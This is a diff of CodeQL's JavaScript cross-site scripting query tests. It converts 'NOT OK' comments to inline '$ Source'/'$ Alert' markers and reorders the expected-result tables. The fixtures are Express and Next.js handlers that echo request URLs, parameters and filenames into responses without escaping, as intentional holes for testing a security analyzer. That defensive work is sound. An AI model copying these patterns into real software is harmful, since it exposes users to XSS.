index 45ad3a94920c..a359780e57b0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/formatting.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/formatting.js
@@ -1,8 +1,8 @@
 var express = require('express');
 
 express().get('/user/', function(req, res) {
-    var evil = req.query.evil;
-    res.send(console.log("<div>%s</div>", evil)); // OK (returns undefined)
-    res.send(util.format("<div>%s</div>", evil)); // NOT OK
-    res.send(require("printf")("<div>%s</div>", evil)); // NOT OK
+    var evil = req.query.evil; // $ Source
+    res.send(console.log("<div>%s</div>", evil)); // OK - returns undefined
+    res.send(util.format("<div>%s</div>", evil)); // $ Alert
+    res.send(require("printf")("<div>%s</div>", evil)); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/live-server.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/live-server.js
index aed560fc0767..9e03025792d0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/live-server.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/live-server.js
@@ -1,15 +1,15 @@
 var liveServer = require("live-server");
  
 const middleware = [function(req, res, next) {
-    const tainted = req.url;    
+    const tainted = req.url;     // $ Source
 
-    res.end(`<html><body>${tainted}</body></html>`); // NOT OK
+    res.end(`<html><body>${tainted}</body></html>`); // $ Alert
 }];
 
 middleware.push(function(req, res, next) {
-    const tainted = req.url;
+    const tainted = req.url; // $ Source
 
-    res.end(`<html><body>${tainted}</body></html>`); // NOT OK
+    res.end(`<html><body>${tainted}</body></html>`); // $ Alert
 });
 
 var params = {
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/pages/Next.jsx b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/pages/Next.jsx
index 9bb3cc46e963..d6c2232e9571 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/pages/Next.jsx
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/pages/Next.jsx
@@ -5,14 +5,14 @@ export default function Post() {
 Post.getInitialProps = async (ctx) => {
     const req = ctx.req;
     const res = ctx.res;
-    res.end(req.url);
+    res.end(req.url); // $ Alert
     return {}
 }
 
 export async function getServerSideProps(ctx) {
     const req = ctx.req;
     const res = ctx.res;
-    res.end(req.url);
+    res.end(req.url); // $ Alert
     return {
         props: {}
     }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/pages/api/myapi.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/pages/api/myapi.js
index 7a0c18245245..6224aea72622 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/pages/api/myapi.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/pages/api/myapi.js
@@ -1,3 +1,3 @@
 export default function handler(req, res) {
-    res.send(req.url);
+    res.send(req.url); // $ Alert
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/partial.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/partial.js
index 4b2edd4e4faf..a0f2120b2c4f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/partial.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/partial.js
@@ -7,37 +7,37 @@ let app = express();
 
 app.get("/some/path", (req, res) => {
   function sendResponse(x, y) {
-    res.send(x + y); // NOT OK
+    res.send(x + y); // $ Alert
   }
   
-  let callback = sendResponse.bind(null, req.url);
+  let callback = sendResponse.bind(null, req.url); // $ Source
   [1, 2, 3].forEach(callback);
 });
 
 app.get("/underscore", (req, res) => {
   function sendResponse(x, y) {
-    res.send(x + y); // NOT OK
+    res.send(x + y); // $ Alert
   }
   
-  let callback = underscore.partial(sendResponse, req.url);
+  let callback = underscore.partial(sendResponse, req.url); // $ Source
   [1, 2, 3].forEach(callback);
 });
 
 app.get("/lodash", (req, res) => {
   function sendResponse(x, y) {
-    res.send(x + y); // NOT OK
+    res.send(x + y); // $ Alert
   }
   
-  let callback = lodash.partial(sendResponse, req.url);
+  let callback = lodash.partial(sendResponse, req.url); // $ Source
   [1, 2, 3].forEach(callback);
 });
 
 app.get("/ramda", (req, res) => {
   function sendResponse(x, y) {
-    res.send(x + y); // NOT OK
+    res.send(x + y); // $ Alert
   }
   
-  let callback = R.partial(sendResponse, [req.url]);
+  let callback = R.partial(sendResponse, [req.url]); // $ Source
   [1, 2, 3].forEach(callback);
 });
 
@@ -49,7 +49,7 @@ app.get("/return", (req, res) => {
   let callback = getFirst.bind(null, req.url);
 
   res.send(callback);   // OK - the callback itself is not tainted
-  res.send(callback()); // NOT OK - but not currently detected [INCONSISTENCY]
+  res.send(callback()); // $ MISSING: Alert - not currently detected
 
   res.send(getFirst("Hello")); // OK - argument is not tainted from this call site
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/promises.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/promises.js
index d48ec23af5f1..41eb48b68d65 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/promises.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/promises.js
@@ -2,10 +2,10 @@ let express = require('express');
 let app = express();
 
 app.get("/some/path", (req, res) => {
-  new Promise((resolve, reject) => resolve(req.query.data))
-    .then(x => res.send(x)); // NOT OK
+  new Promise((resolve, reject) => resolve(req.query.data)) // $ Source
+    .then(x => res.send(x)); // $ Alert
 
   new Promise((resolve, reject) => resolve(req.query.data))
     .then(x => escapeHtml(x))
-    .then(x => res.send(x)); // OK
+    .then(x => res.send(x));
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/tst2.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/tst2.js
index 60399a9b63d6..660743338848 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/tst2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/tst2.js
@@ -3,88 +3,88 @@ var express = require('express');
 var app = express();
 
 app.get('/user/:id', function(req, res) {
-  let { p, q: r } = req.params;
-  res.send(p); // NOT OK
-  res.send(r); // NOT OK
+  let { p, q: r } = req.params; // $ Source
+  res.send(p); // $ Alert
+  res.send(r); // $ Alert
 });
 
 const aKnownValue = "foo";
 
 app.get('/bar', function(req, res) {
-  let { p } = req.params;
+  let { p } = req.params; // $ Source
 
   if (p == aKnownValue)
-    res.send(p); // OK
-  res.send(p);   // NOT OK
+    res.send(p);
+  res.send(p);   // $ Alert
 
   if (p != aKnownValue)
-    res.send(p); // NOT OK
+    res.send(p); // $ Alert
   else
-    res.send(p); // OK
+    res.send(p);
 });
 
 
 const clone = require('clone');
 
 app.get('/baz', function(req, res) {
-  let { p } = req.params;
+  let { p } = req.params; // $ Source
 
   var obj = {};
   obj.p = p;
   var other = clone(obj);
 
-  res.send(p); // NOT OK
-  res.send(other.p); // NOT OK
+  res.send(p); // $ Alert
+  res.send(other.p); // $ Alert
 });
 
 const serializeJavaScript = require('serialize-javascript');
 
 app.get('/baz', function(req, res) {
-  let { p } = req.params;
+  let { p } = req.params; // $ Source
 
   var serialized = serializeJavaScript(p);
 
-  res.send(serialized); // OK
+  res.send(serialized);
   
   var unsafe = serializeJavaScript(p, {unsafe: true});
 
-  res.send(unsafe); // NOT OK
+  res.send(unsafe); // $ Alert
 });
 
 const fclone = require('fclone');
 
 app.get('/baz', function(req, res) {
-  let { p } = req.params;
+  let { p } = req.params; // $ Source
 
   var obj = {};
   obj.p = p;
   var other = fclone(obj);
 
-  res.send(p); // NOT OK
-  res.send(other.p); // NOT OK
+  res.send(p); // $ Alert
+  res.send(other.p); // $ Alert
 });
 
 const jc = require('json-cycle');
 app.get('/baz', function(req, res) {
-  let { p } = req.params;
+  let { p } = req.params; // $ Source
 
   var obj = {};
   obj.p = p;
   var other = jc.retrocycle(jc.decycle(obj));
 
-  res.send(p); // NOT OK
-  res.send(other.p); // NOT OK
+  res.send(p); // $ Alert
+  res.send(other.p); // $ Alert
 });
 
 const sortKeys = require('sort-keys');
 
 app.get('/baz', function(req, res) {
-  let { p } = req.params;
+  let { p } = req.params; // $ Source
 
   var obj = {};
   obj.p = p;
   var other = sortKeys(obj);
 
-  res.send(p); // NOT OK
-  res.send(other.p); // NOT OK
+  res.send(p); // $ Alert
+  res.send(other.p); // $ Alert
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/tst3.js b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/tst3.js
index c7d0fd91a4a0..5419959d61ec 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/tst3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/ReflectedXss/tst3.js
@@ -2,12 +2,12 @@ var express = require('express');
 
 var app = express();
 app.enable('x-powered-by').disable('x-powered-by').get('/', function (req, res) {
-  let { p } = req.params;
-  res.send(p); // NOT OK
+  let { p } = req.params; // $ Source
+  res.send(p); // $ Alert
 });
 
 const prettier = require("prettier");
 app.post("foobar", function (reg, res) {
-  const code = prettier.format(reg.body, { semi: false, parser: "babel" });
-  res.send(code); // NOT OK
+  const code = prettier.format(reg.body, { semi: false, parser: "babel" }); // $ Source
+  res.send(code); // $ Alert
 });
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/ConsistencyStoredXss.ql b/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/ConsistencyStoredXss.ql
deleted file mode 100644
index 38bae3a6aea6..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/ConsistencyStoredXss.ql
+++ /dev/null
@@ -1,3 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.StoredXssQuery as StoredXss
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/StoredXss.expected b/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/StoredXss.expected
index b44f37467ce7..a2bcd0163fde 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/StoredXss.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/StoredXss.expected
@@ -1,3 +1,9 @@
+#select
+| xss-through-filenames.js:8:18:8:23 | files1 | xss-through-filenames.js:7:43:7:48 | files1 | xss-through-filenames.js:8:18:8:23 | files1 | Stored cross-site scripting vulnerability due to $@. | xss-through-filenames.js:7:43:7:48 | files1 | stored value |
+| xss-through-filenames.js:26:19:26:24 | files1 | xss-through-filenames.js:25:43:25:48 | files1 | xss-through-filenames.js:26:19:26:24 | files1 | Stored cross-site scripting vulnerability due to $@. | xss-through-filenames.js:25:43:25:48 | files1 | stored value |
+| xss-through-filenames.js:33:19:33:24 | files2 | xss-through-filenames.js:25:43:25:48 | files1 | xss-through-filenames.js:33:19:33:24 | files2 | Stored cross-site scripting vulnerability due to $@. | xss-through-filenames.js:25:43:25:48 | files1 | stored value |
+| xss-through-filenames.js:37:19:37:24 | files3 | xss-through-filenames.js:25:43:25:48 | files1 | xss-through-filenames.js:37:19:37:24 | files3 | Stored cross-site scripting vulnerability due to $@. | xss-through-filenames.js:25:43:25:48 | files1 | stored value |
+| xss-through-torrent.js:7:11:7:14 | name | xss-through-torrent.js:6:13:6:24 | torrent.name | xss-through-torrent.js:7:11:7:14 | name | Stored cross-site scripting vulnerability due to $@. | xss-through-torrent.js:6:13:6:24 | torrent.name | stored value |
 edges
 | xss-through-filenames.js:7:43:7:48 | files1 | xss-through-filenames.js:8:18:8:23 | files1 | provenance |  |
 | xss-through-filenames.js:17:21:17:26 | files2 [ArrayElement] | xss-through-filenames.js:19:9:19:14 | files2 [ArrayElement] | provenance |  |
@@ -54,9 +60,3 @@ subpaths
 | xss-through-filenames.js:30:9:30:14 | files1 | xss-through-filenames.js:30:34:30:37 | file | xss-through-filenames.js:31:13:31:18 | [post update] files2 [ArrayElement] | xss-through-filenames.js:33:19:33:24 | files2 |
 | xss-through-filenames.js:30:9:30:14 | files1 | xss-through-filenames.js:30:34:30:37 | file | xss-through-filenames.js:31:13:31:18 | [post update] files2 [ArrayElement] | xss-through-filenames.js:33:19:33:24 | files2 [ArrayElement] |
 | xss-through-filenames.js:35:29:35:34 | files2 [ArrayElement] | xss-through-filenames.js:17:21:17:26 | files2 [ArrayElement] | xss-through-filenames.js:22:16:22:30 | files3.join('') | xss-through-filenames.js:35:22:35:35 | format(files2) |
-#select
-| xss-through-filenames.js:8:18:8:23 | files1 | xss-through-filenames.js:7:43:7:48 | files1 | xss-through-filenames.js:8:18:8:23 | files1 | Stored cross-site scripting vulnerability due to $@. | xss-through-filenames.js:7:43:7:48 | files1 | stored value |
-| xss-through-filenames.js:26:19:26:24 | files1 | xss-through-filenames.js:25:43:25:48 | files1 | xss-through-filenames.js:26:19:26:24 | files1 | Stored cross-site scripting vulnerability due to $@. | xss-through-filenames.js:25:43:25:48 | files1 | stored value |
-| xss-through-filenames.js:33:19:33:24 | files2 | xss-through-filenames.js:25:43:25:48 | files1 | xss-through-filenames.js:33:19:33:24 | files2 | Stored cross-site scripting vulnerability due to $@. | xss-through-filenames.js:25:43:25:48 | files1 | stored value |
-| xss-through-filenames.js:37:19:37:24 | files3 | xss-through-filenames.js:25:43:25:48 | files1 | xss-through-filenames.js:37:19:37:24 | files3 | Stored cross-site scripting vulnerability due to $@. | xss-through-filenames.js:25:43:25:48 | files1 | stored value |
-| xss-through-torrent.js:7:11:7:14 | name | xss-through-torrent.js:6:13:6:24 | torrent.name | xss-through-torrent.js:7:11:7:14 | name | Stored cross-site scripting vulnerability due to $@. | xss-through-torrent.js:6:13:6:24 | torrent.name | stored value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/StoredXss.qlref b/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/StoredXss.qlref
index 27140feea760..200bebe2a18e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/StoredXss.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/StoredXss.qlref
@@ -1 +1,2 @@
-Security/CWE-079/StoredXss.ql
\ No newline at end of file
+query: Security/CWE-079/StoredXss.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/xss-through-filenames.js b/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/xss-through-filenames.js
index c04e0d784efc..0233339ad26e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/xss-through-filenames.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/xss-through-filenames.js
@@ -4,8 +4,8 @@ var fs = require('fs');
 var express = require('express');
 
 express().get('/', function(req, res) {
-    fs.readdir("/myDir", function (error, files1) {
-        res.send(files1); // NOT OK
+    fs.readdir("/myDir", function (error, files1) { // $ Source
+        res.send(files1); // $ Alert
     });
 });
 
@@ -22,19 +22,19 @@ http.createServer(function (req, res) {
         return files3.join('');
     }
 
-    fs.readdir("/myDir", function (error, files1) {
-        res.write(files1); // NOT OK
+    fs.readdir("/myDir", function (error, files1) { // $ Source
+        res.write(files1); // $ Alert
 
         var dirs = [];
         var files2 = [];
         files1.forEach(function (file) {
             files2.push(file);
         });
-        res.write(files2); // NOT OK
+        res.write(files2); // $ Alert
 
         var files3 = format(files2);
 
-        res.write(files3);  // NOT OK
+        res.write(files3);  // $ Alert
 
     });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/xss-through-torrent.js b/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/xss-through-torrent.js
index dcf530e3ef5c..2569f5623d74 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/xss-through-torrent.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/StoredXss/xss-through-torrent.js
@@ -3,6 +3,6 @@ const parseTorrent = require('parse-torrent'),
 
 express().get('/user/:id', function(req, res) {
 	let torrent = parseTorrent(unknown),
-	    name = torrent.name;
-	res.send(name); // NOT OK
+	    name = torrent.name; // $ Source
+	res.send(name); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/ConsistencyUnsafeHtmlConstruction.ql b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/ConsistencyUnsafeHtmlConstruction.ql
deleted file mode 100644
index e67885e96b96..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/ConsistencyUnsafeHtmlConstruction.ql
+++ /dev/null
@@ -1,3 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.UnsafeHtmlConstructionQuery as UnsafeHtmlConstruction
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected
index 678b42231c9a..499cf6cce49d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected
@@ -1,3 +1,75 @@
+#select
+| jquery-plugin.js:12:31:12:41 | options.foo | jquery-plugin.js:11:34:11:40 | options | jquery-plugin.js:12:31:12:41 | options.foo | This HTML construction which depends on $@ might later allow $@. | jquery-plugin.js:11:34:11:40 | options | library input | jquery-plugin.js:12:20:12:53 | "<span> ... /span>" | cross-site scripting |
+| jquery-plugin.js:14:31:14:35 | stuff | jquery-plugin.js:11:27:11:31 | stuff | jquery-plugin.js:14:31:14:35 | stuff | This HTML construction which depends on $@ might later allow $@. | jquery-plugin.js:11:27:11:31 | stuff | library input | jquery-plugin.js:14:20:14:47 | "<span> ... /span>" | cross-site scripting |
+| lib2/index.ts:2:27:2:27 | s | lib2/index.ts:1:28:1:28 | s | lib2/index.ts:2:27:2:27 | s | This HTML construction which depends on $@ might later allow $@. | lib2/index.ts:1:28:1:28 | s | library input | lib2/index.ts:3:47:3:50 | html | cross-site scripting |
+| lib2/index.ts:7:58:7:65 | settings | lib2/index.ts:6:29:6:36 | settings | lib2/index.ts:7:58:7:65 | settings | This HTML construction which depends on $@ might later allow $@. | lib2/index.ts:6:29:6:36 | settings | library input | lib2/index.ts:7:47:7:77 | "<span> ... /span>" | cross-site scripting |
+| lib2/index.ts:18:62:18:65 | name | lib2/index.ts:6:29:6:36 | settings | lib2/index.ts:18:62:18:65 | name | This HTML construction which depends on $@ might later allow $@. | lib2/index.ts:6:29:6:36 | settings | library input | lib2/index.ts:18:51:18:77 | "<span> ... /span>" | cross-site scripting |
+| lib2/src/MyNode.ts:2:29:2:29 | s | lib2/src/MyNode.ts:1:28:1:28 | s | lib2/src/MyNode.ts:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | lib2/src/MyNode.ts:1:28:1:28 | s | library input | lib2/src/MyNode.ts:3:49:3:52 | html | cross-site scripting |
+| lib/src/MyNode.ts:2:29:2:29 | s | lib/src/MyNode.ts:1:28:1:28 | s | lib/src/MyNode.ts:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | lib/src/MyNode.ts:1:28:1:28 | s | library input | lib/src/MyNode.ts:3:49:3:52 | html | cross-site scripting |
+| main.js:2:29:2:29 | s | main.js:1:55:1:55 | s | main.js:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | main.js:1:55:1:55 | s | library input | main.js:3:49:3:52 | html | cross-site scripting |
+| main.js:7:49:7:49 | s | main.js:6:49:6:49 | s | main.js:7:49:7:49 | s | This XML parsing which depends on $@ might later allow $@. | main.js:6:49:6:49 | s | library input | main.js:8:48:8:66 | doc.documentElement | cross-site scripting |
+| main.js:12:49:12:49 | s | main.js:11:60:11:60 | s | main.js:12:49:12:49 | s | This XML parsing which depends on $@ might later allow $@. | main.js:11:60:11:60 | s | library input | main.js:16:21:16:35 | xml.cloneNode() | cross-site scripting |
+| main.js:12:49:12:49 | s | main.js:11:60:11:60 | s | main.js:12:49:12:49 | s | This XML parsing which depends on $@ might later allow $@. | main.js:11:60:11:60 | s | library input | main.js:17:48:17:50 | tmp | cross-site scripting |
+| main.js:22:34:22:34 | s | main.js:21:47:21:47 | s | main.js:22:34:22:34 | s | This markdown rendering which depends on $@ might later allow $@. | main.js:21:47:21:47 | s | library input | main.js:23:53:23:56 | html | cross-site scripting |
+| main.js:62:19:62:31 | settings.name | main.js:56:28:56:34 | options | main.js:62:19:62:31 | settings.name | This HTML construction which depends on $@ might later allow $@. | main.js:56:28:56:34 | options | library input | main.js:62:11:62:40 | "<b>" + ...  "</b>" | cross-site scripting |
+| main.js:67:63:67:69 | attrVal | main.js:66:35:66:41 | attrVal | main.js:67:63:67:69 | attrVal | This HTML construction which depends on $@ might later allow $@. | main.js:66:35:66:41 | attrVal | library input | main.js:67:47:67:78 | "<img a ...  "\\"/>" | cross-site scripting |
+| main.js:81:35:81:37 | val | main.js:79:34:79:36 | val | main.js:81:35:81:37 | val | This HTML construction which depends on $@ might later allow $@. | main.js:79:34:79:36 | val | library input | main.js:81:24:81:49 | "<span> ... /span>" | cross-site scripting |
+| main.js:90:23:90:23 | x | main.js:93:43:93:43 | x | main.js:90:23:90:23 | x | This HTML construction which depends on $@ might later allow $@. | main.js:93:43:93:43 | x | library input | main.js:94:20:94:32 | createHTML(x) | cross-site scripting |
+| main.js:99:28:99:28 | x | main.js:98:43:98:43 | x | main.js:99:28:99:28 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:100:24:100:26 | svg | cross-site scripting |
+| main.js:103:43:103:43 | x | main.js:98:43:98:43 | x | main.js:103:43:103:43 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:103:20:103:44 | myMerma ... id", x) | cross-site scripting |
+| main.js:105:26:105:26 | x | main.js:98:43:98:43 | x | main.js:105:26:105:26 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:106:24:106:26 | svg | cross-site scripting |
+| main.js:109:41:109:41 | x | main.js:98:43:98:43 | x | main.js:109:41:109:41 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:109:20:109:42 | mermaid ... id", x) | cross-site scripting |
+| main.js:111:37:111:37 | x | main.js:98:43:98:43 | x | main.js:111:37:111:37 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:112:24:112:26 | svg | cross-site scripting |
+| main.js:117:34:117:34 | s | main.js:116:47:116:47 | s | main.js:117:34:117:34 | s | This markdown rendering which depends on $@ might later allow $@. | main.js:116:47:116:47 | s | library input | main.js:118:53:118:56 | html | cross-site scripting |
+| typed.ts:2:29:2:29 | s | typed.ts:1:39:1:39 | s | typed.ts:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | typed.ts:1:39:1:39 | s | library input | typed.ts:3:31:3:34 | html | cross-site scripting |
+| typed.ts:8:40:8:40 | s | typed.ts:6:43:6:43 | s | typed.ts:8:40:8:40 | s | This HTML construction which depends on $@ might later allow $@. | typed.ts:6:43:6:43 | s | library input | typed.ts:8:29:8:52 | "<span> ... /span>" | cross-site scripting |
+edges
+| jquery-plugin.js:11:27:11:31 | stuff | jquery-plugin.js:14:31:14:35 | stuff | provenance |  |
+| jquery-plugin.js:11:34:11:40 | options | jquery-plugin.js:12:31:12:37 | options | provenance |  |
+| jquery-plugin.js:12:31:12:37 | options | jquery-plugin.js:12:31:12:41 | options.foo | provenance | Config |
+| lib2/index.ts:1:28:1:28 | s | lib2/index.ts:2:27:2:27 | s | provenance |  |
+| lib2/index.ts:6:29:6:36 | settings | lib2/index.ts:7:58:7:65 | settings | provenance |  |
+| lib2/index.ts:6:29:6:36 | settings | lib2/index.ts:13:16:13:23 | settings | provenance |  |
+| lib2/index.ts:13:9:13:41 | name | lib2/index.ts:18:62:18:65 | name | provenance |  |
+| lib2/index.ts:13:16:13:23 | settings | lib2/index.ts:13:16:13:33 | settings.mySetting | provenance | Config |
+| lib2/index.ts:13:16:13:33 | settings.mySetting | lib2/index.ts:13:16:13:36 | setting ... ting[i] | provenance | Config |
+| lib2/index.ts:13:16:13:36 | setting ... ting[i] | lib2/index.ts:13:16:13:41 | setting ... i].name | provenance | Config |
+| lib2/index.ts:13:16:13:41 | setting ... i].name | lib2/index.ts:13:9:13:41 | name | provenance |  |
+| lib2/src/MyNode.ts:1:28:1:28 | s | lib2/src/MyNode.ts:2:29:2:29 | s | provenance |  |
+| lib/src/MyNode.ts:1:28:1:28 | s | lib/src/MyNode.ts:2:29:2:29 | s | provenance |  |
+| main.js:1:55:1:55 | s | main.js:2:29:2:29 | s | provenance |  |
+| main.js:6:49:6:49 | s | main.js:7:49:7:49 | s | provenance |  |
+| main.js:11:60:11:60 | s | main.js:12:49:12:49 | s | provenance |  |
+| main.js:21:47:21:47 | s | main.js:22:34:22:34 | s | provenance |  |
+| main.js:56:28:56:34 | options | main.js:60:41:60:47 | options | provenance |  |
+| main.js:57:11:59:5 | defaults | main.js:60:31:60:38 | defaults | provenance |  |
+| main.js:57:11:59:5 | defaults | main.js:60:31:60:38 | defaults | provenance |  |
+| main.js:57:22:59:5 | {\\n      ... "\\n    } | main.js:57:11:59:5 | defaults | provenance |  |
+| main.js:57:22:59:5 | {\\n      ... "\\n    } | main.js:57:11:59:5 | defaults | provenance |  |
+| main.js:60:11:60:48 | settings | main.js:62:19:62:26 | settings | provenance |  |
+| main.js:60:22:60:48 | $.exten ... ptions) | main.js:60:11:60:48 | settings | provenance |  |
+| main.js:60:31:60:38 | defaults | main.js:60:22:60:48 | $.exten ... ptions) | provenance |  |
+| main.js:60:31:60:38 | defaults | main.js:60:22:60:48 | $.exten ... ptions) | provenance |  |
+| main.js:60:31:60:38 | defaults | main.js:60:22:60:48 | $.exten ... ptions) | provenance | Config |
+| main.js:60:41:60:47 | options | main.js:57:22:59:5 | {\\n      ... "\\n    } | provenance |  |
+| main.js:60:41:60:47 | options | main.js:57:22:59:5 | {\\n      ... "\\n    } | provenance |  |
+| main.js:60:41:60:47 | options | main.js:57:22:59:5 | {\\n      ... "\\n    } | provenance | Config |
+| main.js:60:41:60:47 | options | main.js:60:22:60:48 | $.exten ... ptions) | provenance |  |
+| main.js:60:41:60:47 | options | main.js:60:22:60:48 | $.exten ... ptions) | provenance | Config |
+| main.js:62:19:62:26 | settings | main.js:62:19:62:31 | settings.name | provenance | Config |
+| main.js:66:35:66:41 | attrVal | main.js:67:63:67:69 | attrVal | provenance |  |
+| main.js:79:34:79:36 | val | main.js:81:35:81:37 | val | provenance |  |
+| main.js:89:21:89:21 | x | main.js:90:23:90:23 | x | provenance |  |
+| main.js:93:43:93:43 | x | main.js:94:31:94:31 | x | provenance |  |
+| main.js:94:31:94:31 | x | main.js:89:21:89:21 | x | provenance |  |
+| main.js:98:43:98:43 | x | main.js:99:28:99:28 | x | provenance |  |
+| main.js:98:43:98:43 | x | main.js:103:43:103:43 | x | provenance |  |
+| main.js:98:43:98:43 | x | main.js:105:26:105:26 | x | provenance |  |
+| main.js:98:43:98:43 | x | main.js:109:41:109:41 | x | provenance |  |
+| main.js:98:43:98:43 | x | main.js:111:37:111:37 | x | provenance |  |
+| main.js:116:47:116:47 | s | main.js:117:34:117:34 | s | provenance |  |
+| typed.ts:1:39:1:39 | s | typed.ts:2:29:2:29 | s | provenance |  |
+| typed.ts:6:43:6:43 | s | typed.ts:8:40:8:40 | s | provenance |  |
 nodes
 | jquery-plugin.js:11:27:11:31 | stuff | semmle.label | stuff |
 | jquery-plugin.js:11:34:11:40 | options | semmle.label | options |
@@ -58,76 +130,4 @@ nodes
 | typed.ts:2:29:2:29 | s | semmle.label | s |
 | typed.ts:6:43:6:43 | s | semmle.label | s |
 | typed.ts:8:40:8:40 | s | semmle.label | s |
-edges
-| jquery-plugin.js:11:27:11:31 | stuff | jquery-plugin.js:14:31:14:35 | stuff | provenance |  |
-| jquery-plugin.js:11:34:11:40 | options | jquery-plugin.js:12:31:12:37 | options | provenance |  |
-| jquery-plugin.js:12:31:12:37 | options | jquery-plugin.js:12:31:12:41 | options.foo | provenance | Config |
-| lib2/index.ts:1:28:1:28 | s | lib2/index.ts:2:27:2:27 | s | provenance |  |
-| lib2/index.ts:6:29:6:36 | settings | lib2/index.ts:7:58:7:65 | settings | provenance |  |
-| lib2/index.ts:6:29:6:36 | settings | lib2/index.ts:13:16:13:23 | settings | provenance |  |
-| lib2/index.ts:13:9:13:41 | name | lib2/index.ts:18:62:18:65 | name | provenance |  |
-| lib2/index.ts:13:16:13:23 | settings | lib2/index.ts:13:16:13:33 | settings.mySetting | provenance | Config |
-| lib2/index.ts:13:16:13:33 | settings.mySetting | lib2/index.ts:13:16:13:36 | setting ... ting[i] | provenance | Config |
-| lib2/index.ts:13:16:13:36 | setting ... ting[i] | lib2/index.ts:13:16:13:41 | setting ... i].name | provenance | Config |
-| lib2/index.ts:13:16:13:41 | setting ... i].name | lib2/index.ts:13:9:13:41 | name | provenance |  |
-| lib2/src/MyNode.ts:1:28:1:28 | s | lib2/src/MyNode.ts:2:29:2:29 | s | provenance |  |
-| lib/src/MyNode.ts:1:28:1:28 | s | lib/src/MyNode.ts:2:29:2:29 | s | provenance |  |
-| main.js:1:55:1:55 | s | main.js:2:29:2:29 | s | provenance |  |
-| main.js:6:49:6:49 | s | main.js:7:49:7:49 | s | provenance |  |
